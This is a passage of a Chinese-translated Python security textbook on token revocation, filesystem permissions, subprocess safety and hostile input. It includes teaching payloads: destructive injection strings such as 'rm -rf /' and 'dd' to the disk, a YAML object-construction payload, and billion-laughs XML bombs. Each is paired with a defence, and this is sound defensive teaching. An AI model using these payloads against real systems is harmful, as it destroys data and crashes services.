当你完成一个访问令牌后,通常没有理由继续持有它。你不再需要它,而且只有当它落入错误的手中时才会对你造成危害。因此,通常最好在访问令牌完成其目的后撤销每个访问令牌。一旦被撤销,访问令牌就无法用于访问受保护的资源。

DOT 通过一个专门的端点来处理令牌撤销。这个端点需要一个访问令牌和 OAuth 客户端凭据。以下代码演示了如何访问令牌撤销。请注意,资源服务器会用 403 状态码回应后续请求:

>>> data = {
...     'client_id': CLIENT_ID,
...     'client_secret': CLIENT_SECRET,
...     'token': client.token['access_token']
... }
>>> client.post('%s/o/revoke_token/' % AUTH_SERVER, data=data)    # ❶
<Response [200]>                                                  # ❶
>>> client.get(RESOURCE_URL)                                      # ❷
<Response [403]>                                                  # ❷

❶ 撤销访问令牌

❷ 后续访问被拒绝

大型 OAuth 提供商通常允许你手动撤销为你的个人数据发布的访问令牌。例如,访问myaccount.google.com/permissions查看为你的 Google 账户发布的所有有效访问令牌的列表。这个用户界面让你查看每个访问令牌的详细信息,并撤销它们。为了保护你的隐私,你应该撤销对任何你不打算很快使用的客户端应用程序的访问权限。

在这一章中,你学到了很多关于 OAuth 的知识。你从资源所有者、OAuth 客户端、授权服务器和资源服务器的角度了解了这个协议是如何工作的。你还接触到了 Django OAuth Toolkit 和requests-oauthlib。这些工具在它们的工作中表现出色,文档完善,并且彼此之间相互配合良好。

总结

  • 你可以在不分享密码的情况下分享你的数据。

  • 授权码流是目前最常用的 OAuth 授权类型。

  • 授权码被交换为访问令牌。

  • 通过限制访问令牌的时间和范围来降低风险。

  • 范围由 OAuth 客户端请求,由授权服务器定义,并由资源服务器强制执行。

第三部分:攻击抵抗

与第 1 部分和第 2 部分不同,第 3 部分主要关注的不是基础知识或发展。相反,一切都围绕着 Mallory 展开,她用跨站脚本、开放式重定向攻击、SQL 注入、跨站请求伪造、点击劫持等攻击摧毁其他角色。这是书中最具对抗性的部分。在每一章中,攻击不是为了补充主要思想;攻击就是主要思想。

第十二章:使用操作系统

本章内容包括

  • 使用os模块强制执行文件系统级别的授权

  • 使用tempfile模块创建临时文件

  • 使用subprocess模块调用外部可执行文件

  • 抵御 shell 注入和命令注入

最近的几章都涉及授权。你学习了用户、组和权限。我通过将这些概念应用于文件系统访问来开始本章。此后,我将向你展示如何安全地从 Python 中调用外部可执行文件。在此过程中,你将学习如何识别和抵御两种类型的注入攻击。这为本书的其余部分奠定了基调,专注于攻击抵御。

12.1 文件系统级别的授权

像大多数编程语言一样,Python 本地支持文件系统访问;不需要第三方库。文件系统级别的授权比应用程序级别的授权工作量少,因为你不需要执行任何操作;你的操作系统已经做了这个。在这一部分中,我将向你展示如何执行以下操作:

  • 安全地打开文件

  • 安全地创建临时文件

  • 读取和修改文件权限

12.1.1 请求权限

在过去几十年里,Python 社区中出现了许多缩写词。其中一个代表一种编码风格,称为宁愿请求宽恕,而不是先请求允许EAFP)。EAFP 风格假设前提条件为真,然后在它们为假时捕获异常。

例如,以下代码假设具有足够的访问权限来打开文件。程序不尝试询问操作系统是否有权限读取文件;相反,如果权限被拒绝,程序通过except语句请求宽恕:

try:
    file = open(path_to_file)   # ❶
except PermissionError:         # ❷
    return None                 # ❷
else:
    with file:
        return file.read()

❶ 假设权限,不要求权限

❷ 请求宽恕

EAFP 与另一种编码风格相对应,称为先尝试,再请求允许LBYL)。这种风格首先检查前提条件,然后执行。EAFP 的特点是tryexcept语句;LBYL 的特点是ifthen语句。EAFP 被称为乐观;LBYL 被称为悲观

以下代码是 LBYL 的一个示例;它打开一个文件,但首先查看它是否具有足够的访问权限。注意,这段代码容易受到意外和恶意竞争条件的影响。一个错误或攻击者可能利用os.access函数返回和调用open函数之间的时间间隔。这种编码风格还会导致更多的文件系统访问:

if os.access(path_to_file, os.R_OK):    # ❶
    with open(path_to_file) as file:    # ❷
        return file.read()              # ❷
return None

❶ 看

❷ 跳

Python 社区中有些人强烈偏爱 EAFP 而不是 LBYL;我不是其中之一。我没有偏好,我根据具体情况使用两种风格。在这个特定的案例中,出于安全考虑,我使用 EAFP 而不是 LBYL。

EAFP 对比 LBYL

显然,Python 的创始人 Guido van Rossum 对 EAFP 也没有强烈偏好。Van Rossum 曾在 Python-Dev 邮件列表中写道(mail.python.org/pipermail/python-dev/2014-March/133118.html):

. . . 我不同意 EAFP 比 LBYL 更好,或者“Python 通常推荐”的立场。(你从哪里得到的?从那些如此痴迷于 DRY,宁愿引入高阶函数而不重复一行代码的来源? 😃

12.1.2 使用临时文件

Python 本身支持使用专用模块 tempfile 进行临时文件使用;在处理临时文件时无需生成子进程。tempfile 模块包含一些高级工具和一些低级函数。这些工具以最安全的方式创建临时文件。以这种方式创建的文件不可执行,只有创建用户可以读取或写入它们。

tempfile.TemporaryFile 函数是创建临时文件的首选方式。这个高级工具创建一个临时文件并返回其对象表示。当您在 with 语句中使用这个对象时,如下面代码中所示,它会为您关闭和删除临时文件。在这个例子中,创建一个临时文件,打开,写入,读取,关闭和删除:

>>> from tempfile import TemporaryFile
>>> 
>>> with TemporaryFile() as tmp:                           # ❶
...     tmp.write(b'Explicit is better than implicit.')    # ❷
...     tmp.seek(0)                                        # ❸
...     tmp.read()                                         # ❸
...                                                        # ❹
33
0
b'Explicit is better than implicit.'

❶ 创建并打开一个临时文件

❷ 写入文件

❸ 从文件中读取

❹ 退出块,关闭并删除文件

TemporaryFile 有一些替代方案来解决边缘情况。如果需要一个具有可见名称的临时文件,请将其替换为 NamedTemporaryFile。如果需要在将数据写入文件系统之前在内存中缓冲数据,请将其替换为 SpooledTemporaryFile

tempfile.mkstemptempfile.mkdtemp 函数是创建临时文件和临时目录的低级替代方案,分别。这些函数安全地创建临时文件或目录并返回路径。这与前述高级工具一样安全,但您必须承担关闭和删除使用它们创建的每个资源的责任。

警告 不要混淆 tempfile.mkstemptempfile.mkdtemptempfile.mktemp。这些函数的名称仅相差一个字符,但它们是非常不同的。tempfile.mktemp 函数由于安全原因已被 tempfile.mkstemptempfile.mkdtemp 废弃。

永远不要使用tempfile.mktemp。过去,这个函数被用来生成一个未使用的文件系统路径。调用者然后会使用这个路径来创建和打开一个临时文件。不幸的是,这是另一个你不应该使用 LBYL 编程的例子。考虑一下mktemp返回和临时文件创建之间的时间窗口。在这段时间内,攻击者可以在相同的路径上创建一个文件。从这个位置,攻击者可以向系统信任的文件写入恶意内容。

12.1.3 处理文件系统权限

每个操作系统都支持用户和组的概念。每个文件系统都维护关于每个文件和目录的元数据。用户、组和文件系统元数据决定操作系统如何执行文件系统级别的授权。在本节中,我将介绍几个设计用于修改文件系统元数据的 Python 函数。不幸的是,这些功能在只有类 UNIX 系统上完全支持。

类 UNIX 文件系统元数据指定一个所有者、一个组和三个类别:用户、组和其他人。每个类别代表三个权限:读取、写入和执行。用户和组类别适用于分配给文件的所有者和组。其他类别适用于其他所有人。

例如,假设 Alice、Bob 和 Mallory 有操作系统账户。一个由 Alice 拥有的文件分配给一个名为observers的组。Bob 是这个组的成员;Alice 和 Mallory 不是。这个文件的权限和类别由表 12.1 的行和列表示。

表 12.1 按类别的权限

拥有者其他
读取
写入
执行

当 Alice、Bob 或 Mallory 尝试访问文件时,操作系统仅应用最本地类别的权限:

  • 作为文件的所有者,Alice 可以读取和写入文件,但不能执行它。

  • 作为observers的成员,Bob 可以读取文件,但不能对其进行写入或执行。

  • Mallory 根本无法访问文件,因为她既不是所有者也不在observers中。

Python 的os模块具有几个设计用于修改文件系统元数据的函数。这些函数允许 Python 程序直接与操作系统通信,消除了调用外部可执行文件的需要:

  • os.chmod—修改访问权限

  • os.chown—修改所有者 ID 和组 ID

  • os.stat—读取用户 ID 和组 ID

os.chmod函数修改文件系统权限。该函数接受一个路径和至少一个模式。每个模式在stat模块中被定义为一个常量,在表 12.2 中列出。在 Windows 系统上,os.chmod不幸地只能改变文件的只读标志。

表 12.2 权限模式常量

模式拥有者其他
读取S_IRUSRS_IRGRPS_IROTH
写入S_IWUSRS_IWGRPS_IWOTH
执行S_IXUSRS_IXGRPS_IXOTH

以下代码演示了如何使用 os.chmod。第一次调用授予所有者读取权限;所有其他权限都被拒绝。此状态通过后续对 os.chmod 的调用而被擦除,而不是修改。这意味着第二次调用授予了群组读取权限;所有其他权限,包括先前授予的权限,都被拒绝:

import os
import stat

os.chmod(path_to_file, stat.S_IRUSR)    # ❶
os.chmod(path_to_file, stat.S_IRGRP)    # ❷

❶ 只有所有者可以阅读此内容。

❷ 只有群组可以阅读此内容。

如何授予多个权限?使用 OR 运算符组合模式。例如,以下代码行同时向所有者和群组授予读取访问权限:

os.chmod(path_to_file, stat.S_IRUSR | stat.S_IRGRP)    # ❶

❶ 只有所有者和群组可以阅读此内容。

os.chown 函数修改文件或目录的所有者和群组。此函数接受路径、用户 ID 和群组 ID。如果将 -1 作为用户 ID 或群组 ID 传递,则相应的 ID 将保持不变。下面的示例演示了如何在保留群组 ID 的同时更改您的 settings 模块的用户 ID。在您自己的系统上运行此代码是不明智的:

os.chown(path_to_file, 42, -1)

os.stat 函数返回文件或目录的元数据。此元数据包括用户 ID 和群组 ID。在 Windows 系统上,这些 ID 不幸地始终为 0。在交互式 Python shell 中键入以下代码以获取您的 settings 模块的用户 ID 和群组 ID,如加粗所示:

>>> import os
>>> 
>>> path = './alice/alice/settings.py'
>>> stat = os.stat(path)
>>> stat.st_uid             # ❶
501                         # ❶
>>> stat.st_gid             # ❷
20                          # ❷

❶ 访问用户 ID

❷ 访问群组 ID

在本节中,您学习了如何创建与文件系统交互的程序。在下一节中,您将学习如何创建运行其他程序的程序。

12.2 调用外部可执行文件

有时,您想要在 Python 中执行另一个程序。例如,您可能希望练习使用非 Python 语言编写的程序的功能。Python 提供了许多调用外部可执行文件的方法;其中一些方法可能存在风险。在本节中,我将为您提供一些工具来识别、避免和最小化这些风险。

警告:本节中许多命令和代码具有潜在破坏性。在为本章测试代码时,我曾意外地从笔记本电脑上删除了一个本地 Git 仓库。如果您选择运行以下任何示例,请自己小心。

当您在计算机上键入并执行命令时,您并没有直接与操作系统通信。相反,您键入的命令被另一个称为 shell 的程序传递到您的操作系统。例如,如果您在类 UNIX 系统上,您的 shell 可能是 /bin/bash。如果您在 Windows 系统上,您的 shell 可能是 cmd.exe。图 12.1 描述了 shell 的作用。(虽然图表显示的是 Linux 操作系统,但在 Windows 系统上的过程类似。)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12.1 一个 bash shell 将 Alice 的终端上的命令传递给操作系统。

如其名称所示,shell 仅提供了一层薄薄的功能。其中一些功能是由特殊字符支持的。特殊字符具有超出其字面用途的含义。例如,类 Unix 系统的 shell 将星号(*)字符解释为通配符。这意味着诸如rm *这样的命令会删除当前目录中的所有文件,而不是删除一个(奇怪地)命名为*的单个文件。这称为通配符展开

如果要求 shell 按字面意义解释特殊字符,则必须使用转义字符。例如,类 Unix 系统的 shell 将反斜杠视为转义字符。这意味着如果你只想删除一个(奇怪地)命名为*的文件,你必须输入rm \*

从外部来源构建命令字符串而不转义特殊字符可能是致命的。例如,以下代码演示了一种糟糕的调用外部可执行文件的方式。此代码提示用户输入文件名并构建命令字符串。然后,os.system函数执行该命令,删除文件,并返回 0。按照惯例,返回代码 0 表示命令成功完成。当用户键入alice.txt时,此代码表现正常,但是如果恶意用户键入*,则会删除当前目录中的所有文件。这称为shell 注入攻击

>>> import os
>>> 
>>> file_name = input('Select a file for deletion:')   # ❶
Select a file for deletion: alice.txt                  # ❶
>>> command = 'rm %s' % file_name
>>> os.system(command)                                 # ❷
0                                                      # ❷

❶ 从不受信任的来源接受输入

❷ 成功执行命令

除了 shell 注入之外,此代码还容易受到命令注入的攻击。例如,如果恶意用户提交-rf / ; dd if=/dev/random of=/dev/sda,则此代码将运行两个命令而不是一个。第一个命令删除根目录中的所有内容;第二个命令则通过向硬盘写入随机数据进一步恶化了情况。

Shell 注入和命令注入都是更广泛的攻击类别的特殊类型,通常称为注入攻击。攻击者通过向易受攻击的系统注入恶意输入来发起注入攻击。系统然后无意中执行输入,试图处理它,从而在某种程度上使攻击者受益。

注意:在撰写本文时,注入攻击位列 OWASP 十大安全威胁的第一位(owasp.org/www-project-top-ten/)。

在接下来的两节中,我将演示如何避免 shell 注入和命令注入。

12.2.1 使用内部 API 绕过 shell

如果你执行外部程序,你应该首先问自己是否需要。在 Python 中,答案通常是否定的。Python 已经为最常见的问题开发了内部解决方案;在这些情况下,没有必要调用外部可执行文件。例如,以下代码使用os.remove而不是os.system删除文件。这样的解决方案更容易编写,更容易阅读,更少出错,更安全:

>>> file_name = input('Select a file for deletion:')    # ❶
Select a file for deletion:bob.txt                      # ❶
>>> os.remove(file_name)                                # ❷

❶ 从不受信任的来源接受输入

❷ 删除文件

这种替代方案更安全在哪里?与 os.system 不同,os.remove 免疫于命令注入,因为它只做一件事,这是设计原则;这个函数不接受命令字符串,因此没有办法注入其他命令。此外,os.remove 避免了 shell 注入,因为它完全绕过了 shell;这个函数直接与操作系统交流,而不需要 shell 的帮助,也没有 shell 的风险。如粗体所示,特殊字符如 * 被直接解释:

>>> os.remove('*')                                             # ❶
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '*'    # ❷

❶ 这看起来不好 . . .

❷ . . . 但是没有东西被删除。

还有许多其他类似 os.remove 的函数;表格 12.3 列出了其中一些。第一列表示一个不必要的命令,第二列表示纯 Python 的替代方案。这个表格中的一些解决方案应该看起来很熟悉;在讨论文件系统级授权时,你已经见过它们。

表格 12.3 Python 替代简单命令行工具

命令行示例Python 等价物描述
$ chmod 400 bob.txtos.chmod(‘bob.txt’, S_IRUSR)修改文件权限
$ chown bob bob.txtos.chown(‘bob.txt’, uid, -1)更改文件所有者
$ rm bob.txtos.remove(‘bob.txt’)删除文件
> mkdir new_diros.mkdir(‘new_dir’)创建新目录
> diros.listdir()列出目录内容
> pwdos.getcwd()当前工作目录
$ hostnameimport socket;socket.gethostname()读取系统主机名

如果 Python 没有为某个命令提供安全的替代方案,那么很可能会有一个开源的 Python 库提供。表格 12.4 列出了一组命令及其 PyPI 包的替代方案。你在前几章学到了其中的两个,requestscryptography

表格 12.4 Python 替代复杂命令行工具

命令行示例PyPI 等价物描述
$ curl http:/./bob.com -o bob.txtrequests通用 HTTP 客户端
$ openssl genpkey -algorithm RSAcryptography通用加密
$ ping python.orgping3测试主机是否可达
$ nslookup python.orgnslookup执行 DNS 查询
$ ssh alice@python.orgparamikoSSH 客户端
$ git commit -m ‘Chapter 12’GitPython与 Git 仓库一起工作

表格 12.3 和 12.4 绝不是详尽无遗的。Python 生态系统中还有许多其他替代方案可用于外部可执行文件。如果你正在寻找一个不在这些表格中的纯 Python 替代方案,请在开始编写代码之前在网上搜索一下。

偶尔你可能会面临一个没有纯 Python 替代方案的独特挑战。例如,你可能需要运行一个你的同事编写的自定义 Ruby 脚本来解决领域特定的问题。在这种情况下,你需要调用一个外部可执行文件。在下一节中,我将向你展示如何安全地执行这样的操作。

12.2.2 使用 subprocess 模块

subprocess 模块是 Python 对外部可执行程序的答案。该模块废弃了 Python 的许多内置函数用于命令执行,列在这里。你在前一节中看到了其中之一:

  • os.system

  • os.popen

  • os.spawn*(八个函数)

subprocess 模块以简化的 API 和设计用于改善进程间通信、错误处理、互操作性、并发性和安全性的特性集取代了这些函数。在本节中,我只强调了该模块的安全特性。

以下代码使用 subprocess 模块从 Python 中调用一个简单的 Ruby 脚本。Ruby 脚本接受原型角色的名称,如 Alice 或 Eve;该脚本的输出是角色拥有的域的列表。请注意,run 函数不接受命令字符串;相反,它期望命令以列表形式提供,如粗体字所示。run 函数在执行后返回一个 CompletedProcess 实例。此对象提供对外部进程的输出和返回代码的访问:

>>> from subprocess import run
>>> 
>>> character_name = input('alice, bob, or charlie?')        # ❶
alice, bob, or charlie?charlie                               # ❶
>>> command = ['ruby', 'list_domains.rb', character_name]    # ❶
>>>
>>> completed_process = run(command, capture_output=True, check=True)
>>>
>>> completed_process.stdout                                 # ❷
b'charlie.com\nclient.charlie.com\n'                         # ❷
>>> completed_process.returncode                             # ❸
0                                                            # ❸

❶ 构建一个命令

❷ 打印命令输出

❸ 打印命令返回值

subprocess 模块从设计上是安全的。该 API 通过强制你将命令表达为列表来抵御命令注入。例如,如果一个恶意用户提交 charlie ; rm -fr / 作为一个角色名,run 函数仍然只执行 一个 命令,并且它执行的命令仍然只有 一个 (奇怪的)参数。

subprocess 模块 API 也抵御了 shell 注入。默认情况下,run 函数绕过 shell 并将命令直接转发给操作系统。在极为罕见的情况下,当你确实需要特殊功能(例如通配符展开)时,run 函数支持一个名为 shell 的关键字参数。顾名思义,将此关键字参数设置为 True 会通知 run 函数将你的命令传递给 shell。

换句话说,run 函数默认是安全的,但你可以明确选择一个更危险的选项。相反,os.system 函数默认是危险的,你别无选择。图 12.2 说明了两个函数及其行为。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12.2 Alice 运行了两个 Python 程序;第一个通过 shell 与操作系统通信,第二个直接与操作系统通信。

在本章中,你学到了两种类型的注入攻击。当你阅读下一章时,你会看到为什么这些攻击在 OWASP 十大中排名第一。它们有很多不同的形式和大小。

总结

  • 优先选择高级授权工具而不是低级方法。

  • 根据具体情况选择 EAFP 和 LBYL 编码风格。

  • 想要调用外部可执行程序与需要调用外部可执行程序是不同的。

  • 在 Python 和 PyPI 之间,通常有你想要的命令的替代方案。

  • 如果你需要执行一个命令,那么这个命令极有可能不需要一个 shell。

第十三章:永远不要信任输入

本章包括

  • 使用 Pipenv 验证 Python 依赖项

  • 使用 PyYAML 安全解析 YAML

  • 使用 defusedxml 安全解析 XML

  • 防止 DoS 攻击,Host 头攻击,开放重定向和 SQL 注入

在这一章中,Mallory 对 Alice、Bob 和 Charlie 发动了半打攻击。这些攻击及其对策并不像我后面涵盖的攻击那样复杂。本章中的每个攻击都遵循一种模式:Mallory 利用恶意输入滥用系统或用户。这些攻击以许多不同形式的输入形式出现:包依赖项、YAML、XML、HTTP 和 SQL。这些攻击的目标包括数据损坏、特权提升和未经授权的数据访问。输入验证是这些攻击的解药。

我在本章中涵盖的许多攻击都是注入攻击。(您在上一章中学习了关于注入攻击的知识。)在典型的注入攻击中,恶意输入被注入并立即由正在运行的系统执行。因此,程序员往往忽略了我在本章中开始讨论的非典型场景。在这种情况下,注入发生在上游,即构建时;执行发生在下游,即运行时。

13.1 使用 Pipenv 进行包管理

在本节中,我将向您展示如何使用 Pipenv 防止注入攻击。像之前学过的哈希和数据完整性一样,它们将再次出现。与任何 Python 包管理器一样,Pipenv 从诸如 PyPI 之类的包仓库检索并安装第三方包。不幸的是,程序员未能意识到包仓库是他们攻击面的重要部分。

假设 Alice 想要定期将新版本的 alice.com 部署到生产环境。她编写了一个脚本来拉取她代码的最新版本,以及她的软件包依赖项的最新版本。Alice 没有通过将她的依赖项检入版本控制来增加她代码仓库的大小。相反,她使用包管理器从包仓库拉取这些工件。

Mallory 已经入侵了 Alice 依赖的包仓库。在这个位置,Mallory 使用恶意代码修改了 Alice 的一个依赖项。最后,恶意代码由 Alice 的包管理器拉取并推送到 alice.com,在那里执行。图 13.1 说明了 Mallory 的攻击。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13.1 Mallory 通过包依赖注入恶意代码到 alice.com。

与其他包管理器不同,Pipenv 通过在从包仓库拉取每个包时验证包的完整性来自动阻止 Mallory 执行此攻击。如预期的那样,Pipenv 通过比较哈希值来验证包的完整性。

当 Pipenv 第一次获取一个包时,它会记录每个包构件的哈希值在你的锁定文件 Pipfile.lock 中。打开你的锁定文件,花一分钟观察一下你的一些依赖项的哈希值。例如,我的锁定文件的以下部分表明 Pipenv 拉取了requests包的 2.24 版本。两个构件的 SHA-256 哈希值以粗体显示:

...
"requests": {
 "hashes": [
 "Sha256:b3559a131db72c33ee969480840fff4bb6dd1117c8...", # ❶
 "Sha256:fe75cc94a9443b9246fc7049224f756046acb93f87..." # ❶
 ],
    "version": "==2.24.0"                                          # ❷
},
...

❶ 包构件的哈希值

❷ 包版本

当 Pipenv 获取一个熟悉的包时,它会对每个入站包构件进行哈希,并将哈希值与您的锁定文件中的哈希值进行比较。如果哈希值匹配,Pipenv 可以假定该包未经修改,因此安全安装。如果哈希值不匹配,如图 13.2 所示,Pipenv 将拒绝该包。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13.2 包管理器通过将恶意修改的 Python 包的哈希值与锁定文件中的哈希值进行比较来抵御注入攻击。

下面的命令输出展示了当一个包验证失败时 Pipenv 的行为。本地哈希值和警告以粗体显示:

$ pipenv install
Installing dependencies from Pipfile.lock
An error occurred while installing requests==2.24.0--hash=sha256:b3559a131db72c33ee969480840fff4bb6dd1117c8...   # ❶--hash=sha256:fe75cc94a9443b9246fc7049224f756046acb93f87...   # ❶
...
[pipenv.exceptions.InstallError]: ['ERROR: THESE PACKAGES DO NOT
➥ MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated
➥ the package versions, please update the hashes. Otherwise,
➥ examine the package contents carefully; someone may have      # ❷
➥ tampered with them.                                           # ❷
...

❶ 包构件的本地哈希值

❷ 数据完整性警告

除了保护您免受恶意包修改之外,此检查还检测意外包损坏。这确保了本地开发、测试和生产部署的确定性构建——这是使用哈希进行现实世界数据完整性验证的一个很好的例子。在接下来的两节中,我将继续介绍注入攻击。

13.2 YAML 远程代码执行

在第七章,你看到 Mallory 进行远程代码执行攻击。首先,她将恶意代码嵌入到一个 pickled,或者序列化的 Python 对象中。接下来,她将这段代码伪装成基于 cookie 的 HTTP 会话状态并发送给服务器。服务器在不知不觉中使用 PickleSerializer,Python 的 pickle 模块的包装器,执行了恶意代码。在本节中,我将展示如何使用 YAML 而不是 pickle 进行类似的攻击——相同的攻击,不同的数据格式。

注意 在撰写本文时,不安全的反序列化在 OWASP 十大漏洞中排名第 8 位 (owasp.org/www-project-top-ten/)。

像 JSON、CSV 和 XML 一样,YAML 是一种用人类可读的格式表示数据的常见方式。每种主要的编程语言都有工具来解析、序列化和反序列化这些格式的数据。Python 程序员通常使用 PyYAML 来解析 YAML。在您的虚拟环境中,运行以下命令安装 PyYAML:

$ pipenv install pyyaml

打开一个交互式 Python shell 并运行以下代码。这个例子将一个小的内联 YAML 文档传递给 PyYAML。如粗体显示,PyYAML 使用BaseLoader加载文档并将其转换为 Python 字典:

>>> import yaml
>>> 
>>> document = """                             # ❶
...   title: Full Stack Python Security        # ❶
...   characters:                              # ❶
...     - Alice                                # ❶
...     - Bob                                  # ❶
...     - Charlie                              # ❶
...     - Eve                                  # ❶
...     - Mallory                              # ❶
... """                                        # ❶
>>> 
>>> book = yaml.load(document, Loader=yaml.BaseLoader)
>>> book['title']                              # ❷
'Full Stack Python Security'                   # ❷
>>> book['characters']                         # ❷
['Alice', 'Bob', 'Charlie', 'Eve', 'Mallory']  # ❷

❶ 从 YAML . . .

❷ . . . 到 Python

在第一章中,你学到了最小权限原则。PLP 表明用户或系统应该只被赋予执行其职责所需的最小权限。我向你展示了如何将这个原则应用到用户授权上;这里我将向你展示如何将其应用到解析 YAML 上。

警告 当你将 YAML 加载到内存中时,限制你给予 PyYAML 的权限非常重要。

你可以通过 Loader 关键字参数将 PLP 应用到 PyYAML。例如,前面的例子使用了最不强大的加载器 BaseLoader 加载了 YAML。PyYAML 支持其他三种 Loader。以下从最不强大到最强大列出了这四种 Loader。每个 Loader 支持的功能更多,风险也更大。

  • BaseLoader—支持原始的 Python 对象,如字符串和列表

  • SafeLoader—支持原始的 Python 对象和标准 YAML 标签

  • FullLoader—完整的 YAML 语言支持(默认)

  • UnsafeLoader—完整的 YAML 语言支持和任意函数调用

如果你的系统接受 YAML 作为输入,不遵循 PLP 可能是致命的。以下代码演示了当使用 UnsafeLoader 从不受信任的源加载 YAML 时会有多么危险。此示例创建了一个内联 YAML,其中嵌入了对 sys.exit 的函数调用。如粗体字所示,然后将 YAML 输入给 PyYAML。然后,该过程使用退出码 42 调用 sys.exit 杀死自身。最后,echo 命令结合 $? 变量确认 Python 进程确实以值 42 退出:

$ python                                           # ❶
>>> import yaml
>>> 
>>> input = '!!python/object/new:sys.exit [42]'    # ❷
>>> yaml.load(input, Loader=yaml.UnsafeLoader)     # ❸
$ echo $?                                          # ❹
42                                                 # ❹

❶ 创建进程

❷ 内联 YAML

❸ 杀死进程

❹ 确认死亡

你很可能永远不会需要以这种方式调用函数来进行商业用途。你不需要这个功能,那么为什么要冒险呢?BaseLoaderSafeLoader 是从不受信任的源加载 YAML 的推荐方式。或者,调用 yaml.safe_load 相当于使用 SafeLoader 调用 yaml.load

警告 PyYAML 的不同版本默认使用不同的 Loader,所以你应该始终明确指定你需要的 Loader。调用 yaml.load 而不带 Loader 关键字参数已经被弃用。

在调用 load 方法时,始终指定 Loader。如果不这样做,可能会使您的系统在运行较旧版本的 PyYAML 时变得脆弱。直到版本 5.1,默认的 Loader 是(相当于)UnsafeLoader;当前的默认 LoaderFullLoader。我建议避免使用这两种。

保持简单

我们在撰写本文时,即使是 PyYAML 的网站(github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)也不推荐使用 FullLoader

目前应该避免使用 FullLoader 加载器类。2020 年 7 月在 5.3.1 版本中发现了新的漏洞。这些漏洞将在下一个版本中解决,但如果发现更多的漏洞,那么 FullLoader 可能会消失。

在下一节中,我将继续使用不同的数据格式 XML 进行注入攻击。XML 不仅令人讨厌;我认为您会对它有多危险感到惊讶。

13.3 XML 实体扩展

在这一节中,我讨论了一些旨在耗尽系统内存的攻击。这些攻击利用了一个鲜为人知的 XML 功能,称为实体扩展。什么是 XML 实体?实体声明允许您在 XML 文档中定义和命名任意数据。实体引用是一个占位符,允许您在 XML 文档中嵌入一个实体。XML 解析器的工作是将实体引用扩展为实体。

将以下代码键入交互式 Python shell 中作为一个具体的练习。这段代码以粗体字显示一个小的内联 XML 文档开头。在这个文档中只有一个实体声明,代表文本Alice。根元素两次引用这个实体。在解析文档时,每个引用都会被扩展,将实体嵌入两次:

>>> from xml.etree.ElementTree import fromstring
>>> 
>>> xml = """                 # ❶
... <!DOCTYPE example [
...   <!ENTITY a "Alice">     # ❷
... ]>
... <root>&a;&a;</root>       # ❸
... """
>>> 
>>> example = fromstring(xml)
>>> example.text              # ❹
'AliceAlice'                  # ❹

❶ 定义一个内联 XML 文档

❷ 定义一个 XML 实体

❸ 根元素包含三个实体引用。

❹ 实体扩展演示

在这个例子中,一对三个字符的实体引用充当了一个五个字符的 XML 实体的占位符。这并没有以有意义的方式减少文档的总大小,但想象一下如果实体长度为 5000 个字符会怎样。因此,内存保护是 XML 实体扩展的一个应用;在接下来的两节中,您将了解到这个功能是如何被滥用以达到相反的效果。

13.3.1 二次膨胀攻击

攻击者通过武器化 XML 实体扩展来执行二次膨胀攻击。考虑以下代码。这个文档包含一个只有 42 个字符长的实体;这个实体只被引用了 10 次。二次膨胀攻击利用了一个像这样的文档,其中实体和引用计数的数量级更大。数学并不困难;例如,如果实体是 1 MB,实体被引用了 1024 次,那么文档的大小将约为 1 GB:

<!DOCTYPE bomb [
  <!ENTITY e "a loooooooooooooooooooooooooong entity ...">   # ❶
]>
<bomb>&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;</bomb>                  # ❷

❶ 单个实体声明

❷ 10 个实体引用

输入验证不足的系统很容易成为二次膨胀攻击的目标。攻击者注入少量数据;系统随后超出其内存容量,试图扩展数据。因此,恶意输入被称为内存炸弹。在下一节中,我将向您展示一个更大的内存炸弹,并教您如何化解它。

13.3.2 十亿笑攻击

这种攻击很有趣。十亿笑攻击,也被称为指数级膨胀扩展攻击,类似于二次膨胀攻击,但效果更加显著。这种攻击利用了 XML 实体可能包含对其他实体的引用的事实。很难想象在现实世界中有商业用途的情况下会使用这个功能。

以下代码示例说明了如何执行十亿笑话攻击。此文档的根元素仅包含一个实体引用,以粗体显示。此引用是实体嵌套层次结构的占位符:

<!DOCTYPE bomb [
  <!ENTITY a "lol">                               # ❶
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">    # ❶
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">    # ❶
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">    # ❶
]>
<bomb>&d;</bomb>

❶ 四个嵌套层次的实体

处理此文档将强制 XML 解析器将此引用展开为文本 lol 的仅 1000 个重复。一个十亿笑话攻击利用了这样一个具有更多层次嵌套实体的 XML 文档。每个级别将内存消耗增加一个数量级。这种技术将使用不超过本书一页的 XML 文档超出任何计算机的内存容量。

像大多数编程语言一样,Python 有许多解析 XML 的 API。minidompulldomsaxetree 包都容易受到二次增长和十亿笑话攻击的影响。为了保护 Python,这些 API 只是遵循 XML 规范。

显然,向系统添加内存并不是解决此问题的方法;添加输入验证是。Python 程序员通过名为 defusedxml 的库来抵御内存炸弹。在您的虚拟环境中,运行以下命令来安装 defusedxml

$ pipenv install defusedxml

defusedxml 库旨在成为 Python 原生 XML API 的一个即插即用替代品。例如,让我们比较两个代码块。以下代码将使系统崩溃,因为它试图解析恶意 XML:

from xml.etree.ElementTree import parse

parse('/path/to/billion_laughs.xml')    # ❶

❶ 打开了一个内存炸弹

相反,以下代码在尝试解析相同文件时会引发 EntitiesForbidden 异常。唯一的区别是 import 语句:

from xml.etree.ElementTree import parse
from defusedxml.ElementTree import parse

parse('/path/to/billion_laughs.xml')    # ❶

❶ 引发一个 EntitiesForbidden 异常

在底层,defusedxml 封装了每个 Python 原生 XML API 的 parse 函数。defusedxml 定义的 parse 函数默认不支持实体展开。如果您需要在从受信任的来源解析 XML 时使用此功能,可以自由使用 forbid_entities 关键字参数覆盖此行为。表 13.1 列出了 Python 的每个原生 XML API 及其相应的 defusedxml 替代品。

